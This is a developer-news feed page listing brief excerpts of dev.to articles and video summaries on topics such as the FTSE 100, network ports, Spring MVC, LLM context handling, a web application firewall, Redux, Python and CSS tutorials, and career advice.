    The UK’s financial landscape continues to play a pivotal role in shaping global investment sentiment. Among the most widely followed benchmarks, the FTSE 100 remains a central indicator of how Britain’s largest companies are performing and how investors perceive market stability. As economic conditions shift and geopolitical dynamics evolve, the index remains a barometer of both challenges and opportunities within the UK’s corporate environment. What the FTSE 100 Represents The Importance of Tracking the Index Factors Driving Current Movements Currency Influence Global Commodity Trends Interest Rate Expectations Corporate Earnings Global Economic Conditions Why the Index Remains Resilient Potential Risks on the Horizon Inflation pressures that could affect consumer spending and corporate margins. Persistent geopolitical uncertainty, particularly regarding trade relations and regulatory policies. Market corrections triggered by shifts in investor sentiment or unexpected economic announcements. Sector-specific slowdowns, especially in industries sensitive to global demand, such as energy and mining. Investors must remain alert to these risks and understand how they may affect individual components of the index. Opportunities for Investors The Role of the FTSE 100 in the Broader Economy Looking Ahead Conclusion As one of the world’s most followed stock market benchmarks, the FTSE 100 remains central to evaluating financial stability, global exposure, and investor sentiment. Its performance reflects the ongoing narrative of the UK’s place in the international economy, mirroring both resilience and responsiveness to global events. For anyone tracking market developments or seeking long-term investment insight, the index continues to serve as an essential reference point. To explore real-time insights or monitor performance, you can revisit the FTSE 100 directly.  ( 9 min )
    # What Exactly Is a Computer Port, What Can Be Found There, and How to See All Existing Ports of a Computer?
    A Computer Port Defined A computer port is a physical or virtual interface that enables data to flow between a computer and external devices, or between software applications and network connections. They are essential for communication and connectivity. Computer ports can be understood from two primary contexts: Physical ports (hardware) Virtual/logical ports (software networking) These are the physical sockets on the computer's casing where you plug in cables and devices. They provide a standardized mode of connection to peripherals like monitors, keyboards, mice, printers, and external hard drives. Examples include USB, HDMI, Ethernet, and audio jacks. These are not physical sockets but numerical identifiers (ranging from 0 to 65,535) used by networking protocols, e.g., TCP, UDP, a…  ( 8 min )
    Rick Beato: Jahari Stampley... I've Never Heard Playing Like This!
    Jahari Stampley takes us behind the scenes of his rise to the cutting edge of improvisational jazz piano, from his big win at the Herbie Hancock Institute of Jazz Piano Competition to the breakthrough techniques that make his playing feel like nothing you’ve heard before. Along the way he gives a shout-out to his My Beato Club supporters, whose backing helps him keep innovating and sharing his music with the world. Watch on YouTube  ( 6 min )
    How to Reduce Errors in Voice Typing: Master the Art of Accurate Dictation
    Have you ever struggled with frustrating voice typing errors that turned your carefully planned message into gibberish? You're not alone. Voice-to-text technology has revolutionized how we communicate, but accuracy remains a common challenge for many users. Whether you're using voice typing for professional documentation, content creation, or casual messaging, reducing errors is essential for maintaining productivity and professionalism. In this guide, we'll explore practical strategies to minimize voice typing mistakes and help you achieve near-perfect transcription accuracy. Let's dive into the world of error-free dictation. Key Questions About Voice Typing Accuracy What causes voice typing errors in the first place? Can I completely eliminate transcription mistakes? Which tools provide …  ( 8 min )
    MVC - First part
    The Controller is the most important component because it handles all incoming requests. DispatcherServlet(Front controller) --> HandlerMapping(URLs& ref control)--> Actual controller. When the user sends a request, it first reaches the Controller. The Controller layer typically includes: 1.Front Controller (e.g., DispatcherServlet in Spring) 2.URL Mapping (decides which controller method should handle the request) 3.Actual Controller Logic (processes the request and returns a response)  ( 6 min )
    📻 I built an infinite 90s boombox with Gemini + Lyria (and it has an AI DJ!)
    I recently built an experiment that I honestly can’t stop listening to. It’s a virtual, web-based Boombox. You tune the dial, the station changes, and the music crossfades in real-time. But here is the kicker: The DJ is AI. Every time you settle on a station, a dynamically generated voice (courtesy of Gemini text-to-speech) chimes in to introduce the track and the genre, totally context-aware. It feels like a ghost in the machine, and it was built using the Google Gen AI SDK, Lit, and the Lyria Real-Time model. Here is how I built it. // Detect dark theme var iframe = document.getElementById('tweet-1990544411953168752-881'); if (document.body.className.includes('dark-theme')) { iframe.src = "https://platform.twitter.com/embed/Tweet.html?id=1990544411953168752&theme=dark" } …  ( 9 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    Bill Simmons and Kyle Brandt dive into the Ringer’s latest Rewatchables episode all about John Hughes’s 1985 teen classic Weird Science, starring Anthony Michael Hall, Kelly LeBrock and Ilan Mitchell-Smith. Expect a fun, informal romp through the movie’s wild 80s vibe—sex, drugs, rock ’n’ roll and all the neon-soaked antics that made it a cult favorite. Watch on YouTube  ( 6 min )
    Drowning in Photos? Let a VS Code AI Agent Organize Them for You (No Coding Needed)
    I have always enjoyed taking photos but like most people today, I am drowning in them. Unlike the good ol’ days where you had a roll of 24 or 36 shots and had to make each one count, nowadays a single trip leaves me with hundreds of images across my phone, camera, and cloud shares from friends. The real challenge isn’t taking photos anymore, but curating and organizing them. Sure, you could upload everything into your favorite cloud storage provider and ask their built-in AI service to organize them for you. But why send terabytes over the wire (and hope some cloud AI doesn’t mislabel your dog as a toaster) when you can run the whole workflow locally? If you’re in the same boat as me, follow along and I’ll show you how I built a local-only Photo Organizer Agent using an LLM, custom MCP ser…  ( 9 min )
    Strategies to Analyze Any Size Dataset with LLMs Beyond its Context Limit
    You've connected your LLM to a SQL database using Model Context Protocol (MCP), run a query, and... oh no. Instead of the manageable 100 rows you expected, you get 50,000 records. Your LLM's context window can only handle a fraction of this data. What now? Here's how to fix this, starting with the most effective approaches. Instead of dumping raw data, provide strategic summaries that give the LLM (and your users) the big picture. SELECT COUNT(*) as total_records, AVG(sales_amount) as avg_sale, MIN(sales_amount) as min_sale, MAX(sales_amount) as max_sale, COUNT(DISTINCT customer_id) as unique_customers, SUM(sales_amount) as total_revenue FROM sales_data WHERE date >= '2024-01-01'; The LLM gets the complete statistical picture in a few dozen tokens instead of thou…  ( 7 min )
    Master Java — One MCQ at a Time!
    Learning Java or Spring but not sure how much you really understand? Multiple-choice questions (MCQs) are one of the BEST ways to test your knowledge, spot weak areas, and build real confidence — especially for interviews. That’s why I’ve created developer-focused MCQ tests covering: Core Java OOP & Collections Spring & Spring Boot SQL & Databases REST APIs And more coming soon! Each test is: 💡 Start practicing here: https://www.quipoin.com/practice-mcqs/testseries Whether you're preparing for a job, internship, or just leveling up — these MCQs will help you grow smarter, faster.  ( 6 min )
    🖥️ Cloud PC Pool for Copilot Studio: Scalable UI Automation Without Local Machines
    Overview The Cloud PC Pool feature in Microsoft Copilot Studio (preview) introduces a transformative way to run “computer use” agents on virtual machines (VMs) hosted in Microsoft’s cloud. These agents simulate human interaction with desktop and web applications—clicking, typing, navigating—without relying on APIs or local devices. This capability is powered by Windows 365 for Agents, enabling organizations to automate legacy systems, proprietary tools, and hybrid workflows with full governance and compliance. A Cloud PC pool is a scalable group of Microsoft Entra-joined and Intune-enrolled virtual machines. These VMs are centrally managed and provisioned to run UI automation tasks triggered by Copilot Studio agents. No local machine required: Agents run on cloud-hosted VMs. Auto-scaling…  ( 7 min )
    Countdown to PrestaShop Developer Conference 2025: What to Expect!
    PrestaShop Developer Conference 2025: Your Essential Guide to What's Next ⏳ The Countdown is Officially On! Tomorrow. Just one more sleep until the highly anticipated PrestaShop Developer Conference 2025 commences. And honestly, my excitement is palpable! With over 15 years dedicated to developing, optimizing, and intricately working with PrestaShop, I can confidently say that these Developer Conferences transcend mere technical events. They are pivotal moments where the platform's trajectory is set, where groundbreaking innovations spring to life, and where the collective energy of the community becomes truly tangible. This year holds particular significance. With the recent launch of PrestaShop 9, the increasing integration of AI into our workflows, and the ever-growing impo…  ( 9 min )
    Laravel-MediaWiki Mutant
    Hello and welcome to the story of how Shroomok project was born. * This publication does not pretend to be a tutorial at all. Also it's a bit chaotic :) Since the immemorial, humans have struggled to share information with each other. Approaches to do this has been changed a lot: from nodding/touching/biting/screaming to using sensible voice constructions. But the real tectonic shift was The Writing! Nowadays, thousands and thousands of people producing tons of content about their knowledge, ideas, and humble opinions on the internet. Sometimes, they receive feedback from audience as well :-) To do so we either use platforms such as twitter/dev.to/reddit/etc, or some of us choose the Samurai way with autonomous tools (e.g. self-hosted WordPress) How often do you worry about the details o…  ( 15 min )
    Aurora DSQL - Build A Serverless Multi-Region E-Commerce Platform
    Introduction I’ve always been a big fan of managed and truly serverless services offered by public cloud providers like AWS. I want to be able to prototype and build applications with as little infrastructure handling and management as possible. My time should be spent focusing on the business logic of the problem at hand. I really like using services on AWS like Lambda, API Gateway, the Simple Queue Service (SQS), Simple Notification Service (SNS), and many others. For a database platform I have almost always used DynamoDB. DynamoDB tables can be provisioned and ready to use in seconds. The service is highly performant at any scale and you just pay for what you use. I don’t have to pay $100’s per month for something I may only use once a week. In recent times we’ve had a resurgence of i…  ( 15 min )
    APIs shaped the last decade of software. Prompt templates will shape the next. Most developers still see prompts as “text instructions.” But in reality, prompts are rapidly becoming new interfaces and protocols.
    Why Prompt Templates Are the New APIs Jaideep Parashar ・ Nov 18 #webdev #ai #api #architecture  ( 6 min )
    Why Prompt Templates Are the New APIs
    (And why developers who learn this early will dominate the next decade) APIs shaped the last decade of software. Most developers still see prompts as “text instructions.” Interfaces Protocols Abstractions Reusable logic layers Integration points Product components In other words, APIs for intelligence. 1. Prompts Now Function Like Declarative Endpoints In traditional APIs, you say: “Give me user data.” In prompt APIs, you say: “Analyse this user data, find anomalies, explain the reasoning, and recommend next steps.” One call. Prompts don’t just return data; they return meaning. That’s why prompt templates are becoming the new intelligence endpoints. 2. Reusable Prompt Templates = Reusable Logic Think of this as the evolution of functions: Functions reuse code. APIs reuse services. Prompt t…  ( 9 min )
    [Boost]
    🚀 Introducing Agentic Postgres: The First & Free Database Built for Agents Ajay Kulkarni for Tiger Data (Creators of TimescaleDB) ・ Oct 21 #ai #database #postgres #agents  ( 5 min )
    Daily Tech News Roundup - 2025-11-18
    1. a16z-backed super PAC is targeting Alex Bores, sponsor of New York’s AI safety bill — he says bring it on Source: https://techcrunch.com/2025/11/17/a16z-backed-super-pac-is-targeting-alex-bores-sponsor-of-new-yorks-ai-safety-bill-he-says-bring-it-on/ Summary: A super PAC backed by Andreessen Horowitz, OpenAI, and other tech leaders has targeted New York Assembly member Alex Bores' congressional campaign, marking its first attack against a lawmaker supporting AI regulation. 2. Google is fighting the defamation battle Meta caved on Source: https://www.theverge.com/news/822636/google-robby-starbuck-defamation-lawsuit-ai-chatbot Summary: Google filed a motion to dismiss a defamation lawsuit brought by anti-corporate diversity activist Robby Starbuck, who claimed Google’s AI falsely associat…  ( 7 min )
    7 Best Pluralsight Alternatives for Developers
    If you’ve been in tech for a while, you’ve probably encountered Pluralsight at some point. It’s polished, professional, and built with a strong enterprise focus. Many developers rely on it to learn cloud, DevOps, security, or general engineering skills. But after a while, you may notice something: Pluralsight can feel a lot like the mandatory onboarding videos HR assigns. Endless lectures. Assessments that don’t always translate into usable skills. Skill IQ quizzes that tell you your Kubernetes proficiency level but don’t necessarily help you deploy a real cluster without double-checking the YAML. That’s why many developers start looking for Pluralsight alternatives that feel faster, more interactive, and more practical. Fortunately, there are several platforms that deliver exactly that. B…  ( 8 min )
    How Data Security Fuels Innovation in AI and Analytics
    Artificial Intelligence (AI) and analytics have become the backbone of modern businesses, from real-time recommendations to fraud detection to personalized customer experiences. But behind every powerful AI model lies a massive amount of sensitive data. And without the right security, innovation collapses. Today, cloud data security is not just a compliance requirement, it’s a core driver of innovation. The safer your data ecosystem, the more confidently you can build, scale, and experiment with AI. AI models rely on enormous datasets, including: Customer information Transaction logs Behavioral data Sensor/IoT data Enterprise operations data Any breach or misuse not only causes financial loss but also destroys trust. Strong data security helps organizations: Build high-quality datasets Pre…  ( 7 min )
    Master Python Set Methods with Simple Visuals (Emoji Guide Inside!)
    .add() → Add one item to set .remove() → Remove item (error if missing) .discard() → Remove safely without any error .union() → Combine elements from both sets .intersection() → Return only common elements .difference() → Keep elements unique in first set .clear() → Remove all items from set Mastering Python doesn’t have to feel overwhelming — especially when the concepts are broken down visually. minimal, emoji-based infographic that explains the most important Python Set methods in the simplest way possible. Whether you're learning Python for Data Science, Automation, Backend Development, Machine Learning, or DSA, understanding set operations like add(), remove(), union(), and intersection() can help you write cleaner, faster, and more efficient code. Sets play a huge role in deduplication, filtering, comparisons, and mathematical operations — and this visual guide makes each method super easy to understand. Minimal visuals. Maximum clarity. beginners, and a refreshing quick-reference for experienced developers. If you love clean learning resources, this guide will make Python feel simple, logical, and even fun! 🐍⭐  ( 6 min )
    How to Make Chatbot Understand Customer Intent
    Chatbots are everywhere now, right? They pop up on websites, in apps, and honestly, they can be a real help. But sometimes, they just don't get what you're asking for. It's like talking to a wall. The trick to making them actually useful is teaching them to understand what you want. This is all about something called 'intents.' Figuring out how to make a chatbot understand customer intent is key to making these tools work well. We'll break down how to get your chatbot on the same page as your customers. Chatbot intents are basically the goals or actions a user wants to achieve when they message a bot. Knowing this helps the bot respond the right way. There are different types of intents, like when someone just wants information, needs to do something (like buy something), wants help findin…  ( 16 min )
    Introducing dbfuse-ai — An Open-Source, Cross-Database GUI with AI-Powered SQL (Looking for Contributors)
    Modern developers work across multiple databases, cloud environments, and tools. Yet, most existing database GUIs either focus on a single engine, lack AI assistance, or lock core features behind paid tiers. To solve this, I’ve been building dbfuse-ai, an open-source, cross-database GUI with prompt-based AI-assisted SQL generation, driver-based extensibility, and a roadmap to support advanced features such as MCP integration, ER diagrams, schema exploration, and more. This project is growing quickly, and I’m actively looking for contributors who are interested in databases, Node.js, backend systems, AI integrations, and open-source collaboration. dbfuse-ai is a flexible JavaScript/TypeScript-based library that provides: A unified interface for working with multiple SQL databases A pluggab…  ( 8 min )
    Introducing dbfuse-ai — An Open-Source, Cross-Database GUI with AI-Powered SQL (Looking for Contributors)
    Modern developers work across multiple databases, cloud environments, and tools. Yet, most existing database GUIs either focus on a single engine, lack AI assistance, or lock core features behind paid tiers. To solve this, I’ve been building dbfuse-ai, an open-source, cross-database GUI with prompt-based AI-assisted SQL generation, driver-based extensibility, and a roadmap to support advanced features such as MCP integration, ER diagrams, schema exploration, and more. This project is growing quickly, and I’m actively looking for contributors who are interested in databases, Node.js, backend systems, AI integrations, and open-source collaboration. dbfuse-ai is a flexible JavaScript/TypeScript-based library that provides: A unified interface for working with multiple SQL databases A pluggab…  ( 8 min )
    Day 47 of 100 days dsa coding challenge
    Taking on a new challenge: solving GeeksforGeeks POTD daily and sharing my solutions! 💻🔥 Problem: https://www.geeksforgeeks.org/problems/number-of-ways-to-arrive-at-destination/1 Number of Ways to Arrive at Destination Difficulty: Medium Accuracy: 61.13% You are given an undirected weighted graph with V vertices numbered from 0 to V-1 and E edges, represented as a 2D array edges[][], where edges[i] = [ui, vi, timei] means that there is an undirected edge between nodes ui and vi that takes timei minutes to reach. Examples: Constraints: Solution: import heapq dist = [10**18] * V ways = [0] * V dist[0] = 0 ways[0] = 1 pq = [(0, 0)] mod = 10**9+7 while pq: d, u = heapq.heappop(pq) if d > dist[u]: continue for v, w in g[u]: nd = d + w if nd < dist[v]: dist[v] = nd ways[v] = ways[u] heapq.heappush(pq, (nd, v)) elif nd == dist[v]: ways[v] = (ways[v] + ways[u]) % mod return ways[V-1] % mod  ( 7 min )
    Why Your Enterprise Data Platform Is No Longer Just for Analytics
    Key Takeaways The relationship between data and applications is undergoing a fundamental shift. For decades, we've moved data to applications. Now, we're moving applications to data. This isn't just an architectural preference—it's becoming a necessity as businesses demand richer context, faster insights, and real-time operations. Here's what's driving this change: Context is king: Connected data provides multidimensional insights that isolated data simply cannot match The old pattern is breaking: Extracting data to specialized tools creates silos, brittleness, and duplication The line has blurred: Enterprise Data Platforms are no longer just analytical systems—they're becoming operational platforms Three critical shifts: Data latency must drop to seconds, query latency to sub-seconds, a…  ( 15 min )
    Claude Code Plugin I use every day
    I spent 30 days building and polishing this Claude Code plugin for agent builders. It has 5 slash commands I use every day. Now let me show you how magical they are and how I built and polished them over the past 30 days. /generate-code-map-headers - Generate code map headers When we use Claude Code to vibe code, sometimes it needs multiple steps to search and find the most related code and figure out the data flow trace stack, etc. If you run it every day when you finish work, the next morning Claude will understand the code relationships in one step and code much faster. /design-refine - Iteratively refine website design to professional standards If you're building frontend like me, you'll find it's annoying to deal with small design problems. You have to screenshot and tell Claude Code…  ( 7 min )
    The New Role of CRM in Omnichannel Customer Journeys
    You browse a product online in the morning, receive a personalized offer by noon, and walk into a nearby store in the evening where the associate already knows exactly what you were looking for. That’s not coincidence — it’s the result of an omnichannel CRM seamlessly connecting every touchpoint across your digital and physical journey. In 2025, customer expectations have evolved. People don’t just want convenience — they want continuity. Whether they’re shopping, banking, or booking a doctor’s appointment, they expect every interaction to feel connected, intelligent, and personal. Modern CRM systems have evolved to make this possible. What once served as a static database for storing customer information has now become an adaptive ecosystem that unifies data, predicts behavior, and del…  ( 11 min )
    6 tendances techniques qui façonnent l’avenir d’Ethereum et du Web3
    Ethereum reste l’une des blockchains les plus influentes du Web3. Bien plus qu’un actif à acheter, c’est aujourd’hui une infrastructure de développement utilisée par des milliers de projets, d’applications décentralisées et d’innovations numériques. Le réseau évolue rapidement, poussé par des besoins de performance, de sécurité et de simplicité d’utilisation. Grâce à des plateformes accessibles comme MoonPay, l’accès à Ethereum est devenu plus simple pour les utilisateurs qui souhaitent interagir avec les applications Web3. Cette facilité d’entrée encourage davantage de développeurs à construire et tester de nouvelles idées, ce qui alimente une évolution technologique continue. Voici six tendances incontournables qui redéfinissent l’avenir d’Ethereum et celui des développeurs qui l’utilise…  ( 8 min )
    SafeLine: The Open-Source WAF That Actually Protects Your Web Apps
    If you’ve ever hosted a web app, a personal homelab service, or even a simple dashboard exposed to the internet, you’ve probably felt that lingering anxiety: “Is someone trying to break into this right now?” And honestly… they probably are. From SQL injection and XSS to brute-force login attempts and automated bots scanning for weak points, the modern web is full of constant, noisy, and increasingly sophisticated attacks. A single exposed service — whether it's your NAS, media server, or production API — can quickly become an attacker’s entry point. This is where a reliable Web Application Firewall (WAF) becomes essential. Today, let’s take a closer look at SafeLine, a powerful and production-ready open-source WAF that’s easy to deploy, actively maintained, and built to help you secure any…  ( 8 min )
    Remember to Make Use Of Lazy Evaluation
    Sometimes, being lazy is good. But that's no excuse for being lazy in work! It is only a valid excuse in programming if you apply at the right time and right place. The original article is here. Let's take this simple null-coalescing example: var object = object == null ? getDefaultObject() : object; A simple but elegant solution when you want to assign a default value to a variable if the object is null. Classic Java 101! Then, you get fancy and create a helper method to adhere to the DRY principle: // Sweet, sweet juicy usage of generics T getOrDefault(T object, T defaultValue) { return object == null ? defaultValue : object; } Also, FYI: DRY principle stands for Don't Repeat Yourself (ironically, I just repeated that) And then, riding high on your DRY-fueled mo…  ( 8 min )
    # 🛡️ Introduction to Security in the Cloud: Why It Matters & How AWS IAM Protects Your World
    Cloud computing has revolutionized how companies build and deploy software applications. Instead of investing in physical servers and networking equipment, organizations can now set up global IT environments within minutes and scale on demand. But this convenience comes with new security risks. As more critical data and applications move to the cloud, attackers follow. Securing your cloud environment isn’t optional anymore; it’s fundamental to building trust, ensuring resilience, and avoiding costly breaches. This guide walks through why cloud security matters now more than ever, how it differs from traditional on-premises security, and how AWS Identity and Access Management (IAM) plays a central role in protecting your cloud assets. You’ll find clear analogies, practical examples, and vis…  ( 12 min )
    Empresas também evoluem
    A gente fala muito sobre a evolução das pessoas… mas empresas também evoluem. E eu vivi isso em duas experiências marcantes na minha carreira, de perspectivas diferentes: Na primeira, depois que entrei na empresa, comecei a ouvir críticas e comentários negativos de ex-funcionários e colegas, principalmente sobre como os gestores lidavam com os problemas do dia a dia e com o pessoal — histórias antigas ruins, que geravam uma percepção de ambiente difícil. Confesso que fiquei com um pé atrás, e minhas expectativas ficaram baixas, mas ao longo dos meses percebi que as coisas já estavam bem melhores e continuaram evoluindo. Na segunda experiência, eu tinha uma ideia negativa formada sobre a empresa, tanto que dizia a colegas que nunca trabalharia lá. Mas algumas propostas chegaram, amigos me convidaram e, após reflexão e um período de oração, aceitei. Foi a melhor experiência da minha carreira até então. plano de carreira real, alcancei a posição que almejava quase dentro do prazo esperado e tive um desenvolvimento profissional muito positivo. Essas experiências me fizeram refletir: às vezes carregamos a imagem de uma empresa baseada em versões antigas — e esquecemos que organizações também passam por fases, ciclos, aprendizados, erros e recomeços. Assim como nós. Empresas sérias realmente buscam evoluir, revisando práticas do dia a dia, a forma de lidar com pessoas, projetos e cultura. Quem entra depois pode perceber essa evolução de forma direta. Assim como damos segunda chance a profissionais em recomeços, vale lembrar que empresas também podem mudar e merecem ser vistas com novos olhos. No fim, evolução não é um evento, é um processo. E isso vale para todos, pessoas e empresas.  ( 7 min )
    Packing Power: AI Cracks the Sphere Optimization Code
    Packing Power: AI Cracks the Sphere Optimization Code Imagine squeezing the maximum number of oranges into a crate. Seems simple, right? Now, scale that up to higher dimensions, where intuition fails. Finding the most efficient way to arrange spheres in multi-dimensional space – the "kissing number problem" – has baffled mathematicians for centuries. The breakthrough lies in reframing the problem as a game. Think of it as two AI agents battling it out. One agent strategically places spheres, while the other fine-tunes their positions to maximize the number that can touch a central sphere without overlapping. This collaborative "sphere-juggling" approach leverages reinforcement learning to explore incredibly complex configurations. The result? An AI system that not only rediscovers known …  ( 7 min )
    The Year We Crossed the Threshold: A Journey Through 2025's Most Transformative Technology
    There are years that whisper change, and years that thunder it. 2025 was the latter—a year when the future stopped feeling like a distant promise and started feeling like the ground beneath our feet. As I write this in late 2025, I'm struck by how dramatically the landscape has shifted, not through a single revolutionary moment, but through a constellation of launches, breakthroughs, and quiet innovations that have fundamentally altered how we build, create, and think about technology. This isn't just another year-in-review. This is a map of the threshold we've crossed, drawn from the launches that mattered, the tools that changed everything, and the moments when we collectively realized: the future is no longer coming. It's here. When Anthropic launched Claude 4 in early 2025, followed by…  ( 17 min )
    Você está pronto para uma demissão hoje?
    Considerando as mudanças de mercado que vêm acontecendo nos últimos anos, todos nós estamos sujeitos a passar por isso. Nem todo profissional desligado em uma demissão em massa é alguém que não entrega resultados. Muitas vezes a empresa precisa fazer um corte cirúrgico de gastos. Há casos em que você está entre os que mais ganham e acaba virando um candidato natural ao corte. Mas isso não é um demérito: é uma conquista do seu trabalho. O mercado continua cheio de oportunidades onde você pode ganhar o mesmo ou mais. Falando do lado emocional, é importante entender que não é pessoal. A relação de trabalho é um contrato que pode ser encerrado a qualquer momento. Claro que existem situações específicas que podem contribuir para o desligamento: conflito interno com outro profissional relevante, redução de time, mudança de foco ou projetos, encerramento de iniciativas. Normalmente, times de pesquisa, inovação, arquitetura e projetos secundários são os primeiros impactados. A ideia desse artigo é deixar um alerta para que você esteja preparado. Mas a pergunta é: como? Como se preparar Aqui estão os pilares que realmente fazem diferença quando o inesperado acontece: 1. Construa uma boa rede de contatos 2. Mantenha um perfil profissional relevante 3. Tenha visibilidade no mercado 4. Invista em idiomas 5. Converse sobre o mercado 6. Atualize-se constantemente 7. Mantenha seus perfis e portfólio vivos 8. Explore coisas novas dentro da sua área 9. Entenda seu valor no mercado 10. Tenha uma reserva de emergência Conclusão O objetivo não é viver com medo, mas viver consciente. Ser bom no que você faz importa. Estar preparado para o inesperado importa ainda mais.  ( 7 min )
    Add Pages to PDFs with Python: A Comprehensive Guide
    In modern office workflows and data processing, PDF files stand out for their unrivaled format stability, making them a staple across industries. For Python developers, adding pages to PDFs is a recurring need—whether for automating document assembly, appending content to generated reports, or integrating custom text/image layouts into existing files. Mastering this skill streamlines workflows, eliminates the hassle of manual editing, and boosts productivity in document-centric tasks. Spire.PDF for Python emerges as a powerful, user-friendly solution for such requirements. As a full-featured PDF processing library, it offers intuitive APIs tailored to diverse page-adding scenarios. This guide breaks down its core functionalities, paired with production-ready code examples to help you imple…  ( 8 min )
    🛒 Understand Redux State Management: The Department Store analogy
    Managing state in a complex web application can feel like trying to run a sprawling, disorganized warehouse. Data is everywhere, and you never know who changed what or when. This is where Redux steps in, acting as a meticulous system for organizing and controlling every piece of information in your app. Here’s a simple, real-world analogy that breaks down the main players in the Redux architecture—the Store, the Component, the Action, the Reducer, and the crucial Middleware. Imagine an e-commerce application where a customer buys a single product, like a television. The Store is the entire Department Store's Inventory Database. It is the single, undisputed source of truth. It holds every piece of data—the stock counts for TVs, the customer lists, the pricing, and the current state of every…  ( 8 min )
    Finding Min and Max Without Built-in Functions: A Python Tutorial
    When learning to code, it's tempting to reach for built-in functions like min() and max() whenever you need to find the smallest or largest values in a list. But understanding how to implement these operations from scratch is crucial for developing your problem-solving skills and deepening your understanding of fundamental algorithms. Let's tackle a common programming challenge: write a function that finds both the smallest and largest numbers in a list and returns them as a tuple, without using Python's built-in min() or max() functions. Here's an elegant solution that accomplishes this in a single pass through the list: def find_min_max(lst): """ Find the minimum and maximum values in a list. Returns a tuple containing (minimum, maximum). """ if len(lst) == 0: …  ( 8 min )
    Os 20 Melhores Notebooks para Programadores em 2026
    💻 Mas também servem para IA, games, estudo, criação de conteúdo e entre outras tarefas do cotidiano. Com a chegada de processadores mais eficientes, telas melhores e maior integração com IA, 2026 promete ser um ano de notebooks mais potentes e acessíveis. A lista abaixo reúne 20 modelos escolhidos por variedade de uso: estudo, trabalho, programação, criação de conteúdo, games, mobilidade e custo-benefício. 01. Apple notebook MacBook Pro (de 16 polegadas, Processador M1 Pro da Apple com CPU 10‑core e GPU 16‑core, 16 GB RAM, 512 GB SSD) O mais forte da lista. Tela grande de 16″, chip Apple Silicon com GPU poderosa, ideal para edição de vídeo, modelagem, programação pesada e workflows profissionais que exigem estabilidade e desempenho contínuo. Clique aqui para adquirir esse Notebook 02.…  ( 9 min )
    Unlocking the Power of CSS Variables (Custom Properties)
    When CSS first emerged, one of its biggest limitations was the lack of variables. Developers had to repeat colors, spacing values, and font sizes across multiple selectors. Updating a brand color or tweaking layout spacing meant tedious, error-prone find-and-replace across stylesheets. Enter CSS Variables (Custom Properties) — a modern CSS feature that made styles far more maintainable and dynamic. CSS Variables, officially called Custom Properties, are user-defined values that can be reused throughout your stylesheet. They follow a special syntax: css :root { --primary-color: #4a90e2; --spacing-md: 1.5rem; } --primary-color and --spacing-md are custom property names. Variables always begin with --. To use them, apply the var() function: css button { background-color: var(--prim…  ( 7 min )
    Context API vs. Zustand: Why Your E-Commerce App Needs a Bear (Not a Provider)
    For a React Native e-commerce application handling real-time Stock and Purchases, managing the global state efficiently is non-negotiable. Two popular choices emerge for modern React developers: the built-in Context API and the minimalist library, Zustand. While the Context API is simple and dependency-free, it often leads to critical performance bottlenecks when dealing with frequent, complex, and interconnected state—exactly the kind of state found in a busy online store. Here’s a breakdown of the two approaches and a clear argument for why Zustand is the superior choice for your stock and purchase management. The Context API is React's native solution for avoiding "prop drilling"—passing props down through many layers of components. To manage your e-commerce state, you'd logically separ…  ( 8 min )
    RAG vs MCP: Understanding AI Context Solutions
    Introduction If you've been building AI applications with LLMs lately, you've probably hit the same wall I did: these models are incredibly smart, but if we ask about current events, they don't know because they've been frozen in time. They only understand information from the data they were trained on. They don't know about your documents, your database, your company files, or what's actually happening in your business right now. Two different approaches have emerged to solve this problem: RAG and MCP. And honestly, the way people talk about them can be confusing as hell. Let me break it down in a way that actually makes sense. Think about how you get information in everyday life: RAG is like asking someone to look it up in their personal library You ask: "Hey, what did our company pol…  ( 11 min )
    Kicking Off 2026: Expert Analysis from the World Cup Frontline
    The Road to Glory: Assessing Individual Performances and Their Impact on World Cup 2026 As we continue to navigate the countdown to the highly anticipated World Cup 2026, it's becoming increasingly evident that several top-tier players are already gearing up for their next major international tournament. A recent article by The Athletic and The New York Times highlights this growing trend, emphasizing how these exceptional athletes are positioning themselves for success in the upcoming competition. Star Players Stepping Up One of the most significant factors contributing to a team's overall performance is the presence of skilled and experienced players who consistently deliver top-notch results. The likes of Kylian Mbappé (France), Lionel Messi (Argentina), and Robert Lewandowski (Pola…  ( 8 min )
    Transforming ripgrep's Documentation with AI Automation and MkDocs
    Originally published on Entropic Drift ripgrep is one of the most popular command-line search tools, with over 57,000 stars on GitHub. Despite its popularity and rich feature set, the documentation consisted of just two files: a feature-focused README and a tutorial-style GUIDE. While these files were well-written, they left gaps: No structured learning path from basics to advanced features Limited visual aids to explain complex concepts Features scattered across different sections No dedicated troubleshooting or reference sections Using an evolved version of my documentation automation workflow (originally built for Prodigy's documentation), I generated 50+ pages of enhanced documentation, now live at https://iepathos.github.io/ripgrep. This post documents how the workflow evolved to hand…  ( 12 min )
    The Best AI Articles Dev.to Won’t Show You
    Dev.to's feed is broken. It never shows me posts I actually want to read. The search engine doesn’t help either. I had a feeling there’s still good, advanced level content being published, buried under the clickbait and slop. So I made my own tool to find these hidden gems. I use it daily to find recently published (last 24 hours), original, and insightful posts about AI and success. I usually end up with a couple of solid reads every day. I’ll share the ones I like best here and update this page as I discover new ones. Bookmark this page if you want to stay up to speed. Disclaimer: I don’t endorse these posts. The opinions expressed belong to their authors. I just find them thought-provoking and worth reading. Enjoy. The Shift Towards Agentic AI: What It Means for Developers by @lofcz While the title comes off a bit generic, the article itself has genuinely sharp insights and correctly calls out common pitfalls (and solutions) when implementing agents. Context Engineering: The Critical Infrastructure Challenge in Production LLM Systems by @siddhantkcode This one goes deep on advanced ways to keep context lean and mean. It doesn’t give every detail, but it does link full access to the code, which is even better 😄 The Vibe Coding Trap: Why Conversational AI Makes Developers Slower by @mechero22 This one’s a bit spicy, and I’m not fully onboard with all the claims it makes. But even if it rubs you the wrong way, it will definitely give you something to chew on.  ( 6 min )
    Stateful Serverless - Cloud Functions without Amnesia
    In our previous post, we explored how Horda entities work like Flutter's stateful widgets, but on the backend. We also mentioned that Horda is a stateful serverless platform. But what does that mean exactly? If you are a Flutter developer, whenever someone mentions the word "serverless", there's a high chance that Firebase Cloud Functions would come to mind. Except unlike Horda, they are stateless. So in this post let's explore what's the difference between stateful and stateless serverless, and how stateful serverless replaces traditional databases with a much faster, simpler, and more cost-efficient approach. When we say Firebase Cloud Functions are stateless, we mean they have complete amnesia. Every time a function is invoked, it starts from scratch with no memory of previous calls. It…  ( 10 min )
    Monetzly: A Game-Changer for AI Monetization in LLM Apps
